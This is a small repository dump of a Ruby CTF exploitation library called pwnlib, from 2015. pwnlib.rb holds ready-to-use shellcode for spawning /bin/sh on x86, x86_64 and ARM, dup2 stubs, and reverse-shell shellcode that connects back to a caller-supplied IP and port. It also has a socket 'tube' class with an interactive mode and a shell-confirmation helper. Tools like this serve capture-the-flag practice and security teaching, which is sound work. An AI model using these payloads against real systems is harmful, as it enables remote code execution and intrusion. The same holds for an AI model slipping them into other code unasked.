├── LICENSE ├── README.md └── pwnlib.rb /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2015 Charo-IT 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # pwnlib 2 | Some stuff for CTF. 3 | -------------------------------------------------------------------------------- /pwnlib.rb: -------------------------------------------------------------------------------- 1 | #coding:ascii-8bit 2 | require "socket" 3 | require "openssl" 4 | 5 | class String 6 | def rot13 7 | rot_n(13) 8 | end 9 | 10 | def rot_n(n) 11 | alphabet = ("a".."z").to_a 12 | self.gsub(/[a-zA-Z]/){|a| 13 | c = alphabet[(alphabet.index(a.downcase) + n) % alphabet.length] 14 | a =~ /[a-z]/ ? c : c.upcase 15 | } 16 | end 17 | 18 | def scanf_safe? 19 | self !~ /[\x09\x0a\x0b\x0c\x0d\x20]/ 20 | end 21 | 22 | def tty_safe? 23 | self !~ /[\x03\x04\x0a\x0d\x11\x12\x13\x15\x16\x17\x1a\x1c\x7f]/ 24 | end 25 | 26 | def escape_tty 27 | self.gsub(/[\x03\x04\x0a\x0d\x11\x12\x13\x15\x16\x17\x1a\x1c\x7f]/){|c| "\x16" + c} 28 | end 29 | end 30 | 31 | class OpenSSL::PKey::RSA 32 | def complete_private_key! 33 | raise "p or q is empty" unless self.p != 0 && self.q != 0 34 | raise "e is empty" unless self.e != 0 35 | 36 | self.n = self.p * self.q 37 | self.d = self.e.mod_inverse((self.p - 1) * (self.q - 1)) 38 | self.dmp1 = self.d % (self.p - 1) 39 | self.dmq1 = self.d % (self.q - 1) 40 | self.iqmp = self.q.mod_inverse(self.p) 41 | 42 | self 43 | end 44 | end 45 | 46 | class PwnLib 47 | def self.shellcode_x86 48 | "\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x08\x40\x40\x40\xcd\x80" 49 | end 50 | 51 | def self.shellcode_x86_64 52 | # http://shell-storm.org/shellcode/files/shellcode-806.php 53 | "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" 54 | end 55 | 56 | def self.shellcode_arm 57 | # http://shell-storm.org/shellcode/files/shellcode-698.php 58 | "\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x78\x46\x08\x30\x49\x1a\x92\x1a\x0b\x27\x01\xdf\x2f\x62\x69\x6e\x2f\x73\x68" 59 | end 60 | 61 | def self.dup2_x86(newfd) 62 | "\x31\xff\x6a\x3f\x58\x6a#{newfd.chr}\x5b\x89\xf9\xcd\x80\x47\x83\xff\x03\x75\xf0" 63 | end 64 | 65 | def self.dup2_x86_64(newfd) 66 | "\x48\x31\xdb\x6a\x21\x58\x6a#{newfd.chr}\x5f\x48\x89\xde\x0f\x05\x48\xff\xc3\x48\x83\xfb\x03\x75\xec" 67 | end 68 | 69 | def self.reverse_shell_x86(ip, port) 70 | # http://shell-storm.org/shellcode/files/shellcode-883.php 71 | "\x6a\x66\x58\x6a\x01\x5b\x31\xd2\x52\x53\x6a\x02\x89\xe1\xcd\x80\x92\xb0\x66\x68" + ip.split(".").map{|a| a.to_i.chr}.join + "\x66\x68" + [port].pack("n") + "\x43\x66\x53\x89\xe1\x6a\x10\x51\x52\x89\xe1\x43\xcd\x80\x6a\x02\x59\x87\xda\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b\x41\x89\xca\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80" 72 | end 73 | 74 | def self.reverse_shell_x86_64(ip, port) 75 | # http://shell-storm.org/shellcode/files/shellcode-857.php 76 | "\x48\x31\xc0\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x4d\x31\xc0\x6a" + 77 | "\x02\x5f\x6a\x01\x5e\x6a\x06\x5a\x6a\x29\x58\x0f\x05\x49\x89\xc0" + 78 | "\x48\x31\xf6\x4d\x31\xd2\x41\x52\xc6\x04\x24\x02\x66\xc7\x44\x24" + 79 | "\x02" + [port].pack("n") + "\xc7\x44\x24\x04" + ip.split(".").map{|a| a.to_i.chr}.join + "\x48\x89\xe6\x6a\x10" + 80 | "\x5a\x41\x50\x5f\x6a\x2a\x58\x0f\x05\x48\x31\xf6\x6a\x03\x5e\x48" + 81 | "\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x48\x31\xff\x57\x57\x5e\x5a" + 82 | "\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54" + 83 | "\x5f\x6a\x3b\x58\x0f\x05" 84 | end 85 | 86 | end 87 | 88 | class PwnLib::TimeoutError < IOError 89 | end 90 | 91 | class PwnTube 92 | attr_accessor :socket, :wait_time, :debug, :log_output 93 | 94 | def initialize(socket, log_output = $>) 95 | @wait_time = 0 96 | @debug = false 97 | @socket = socket 98 | @log_output = log_output 99 | @tty = false 100 | 101 | self 102 | end 103 | 104 | def self.open(host, port, log_output = $>, &block) 105 | socket = TCPSocket.open(host, port) 106 | instance = self.new(socket, log_output) 107 | instance.log "[*] connected" 108 | 109 | return instance unless block_given? 110 | 111 | begin 112 | block.call(instance) 113 | ensure 114 | begin 115 | instance.close 116 | rescue 117 | end 118 | end 119 | 120 | nil 121 | end 122 | 123 | def close 124 | @socket.close 125 | log "[*] connection closed" 126 | end 127 | 128 | def send(msg) 129 | @socket.send(@tty ? (msg.escape_tty + "\x04") : msg, 0) 130 | @socket.flush 131 | log "<< #{msg.inspect}" if @debug 132 | sleep(@wait_time) 133 | end 134 | 135 | def sendline(msg = "") 136 | self.send(msg + "\n") 137 | end 138 | 139 | def recv(size = 8192, timeout = nil) 140 | raise PwnLib::TimeoutError.new if IO.select([@socket], [], [], timeout).nil? 141 | @socket.recv(size).tap{|a| log ">> #{a.inspect}" if @debug} 142 | end 143 | 144 | def recv_until(pattern, timeout = nil) 145 | raise ArgumentError.new("type error") unless pattern.is_a?(String) || pattern.is_a?(Regexp) 146 | 147 | s = "" 148 | while true 149 | if pattern.is_a?(String) && s.include?(pattern) || pattern.is_a?(Regexp) && s =~ pattern 150 | break 151 | end 152 | if (c = recv(1, timeout)) && c.length > 0 153 | s << c 154 | else 155 | log s.inspect 156 | raise EOFError.new 157 | end 158 | end 159 | s 160 | end 161 | 162 | def recv_exact(size = 8192, timeout = nil) 163 | s = "" 164 | while s.length < size 165 | s << recv(size - s.length, timeout) 166 | end 167 | s 168 | end 169 | 170 | def recv_until_eof(timeout = nil) 171 | s = "" 172 | while (c = recv(1, timeout)) && c.length > 0 173 | s << c 174 | end 175 | s 176 | end 177 | 178 | def recv_capture(pattern, timeout = nil) 179 | recv_until(pattern, timeout).match(pattern).captures 180 | end 181 | 182 | def tty? 183 | @tty 184 | end 185 | 186 | def tty=(v) 187 | @tty = v 188 | end 189 | 190 | def interactive(terminate_string = nil) 191 | end_flag = false 192 | 193 | $>.puts "[*] interactive mode" 194 | 195 | send_thread = Thread.new(self) do |tube| 196 | begin 197 | while true 198 | s = $stdin.gets 199 | if !s || s.chomp == terminate_string 200 | break 201 | end 202 | tube.socket.send(s, 0) 203 | end 204 | rescue 205 | end 206 | end_flag = true 207 | end 208 | recv_thread = Thread.new(self) do |tube| 209 | begin 210 | while !end_flag 211 | if IO.select([tube.socket], [], [], 0.05) != nil 212 | buf = tube.socket.recv(8192) 213 | break if buf.empty? 214 | $>.print buf 215 | $>.flush 216 | end 217 | end 218 | rescue => e 219 | $>.puts "[!] #{e}" 220 | end 221 | send_thread.kill 222 | end_flag = true 223 | end 224 | 225 | [send_thread, recv_thread].each(&:join) 226 | $>.puts "[*] end interactive mode" 227 | end 228 | 229 | def shell 230 | $>.puts "[*] waiting for shell..." 231 | sleep(0.1) 232 | self.send("echo PWNED\n") 233 | self.recv_until("PWNED\n") 234 | self.interactive 235 | end 236 | 237 | def log(*args) 238 | @log_output.puts *args unless @log_output.nil? 239 | end 240 | end 241 | --------------------------------------------------------------------------------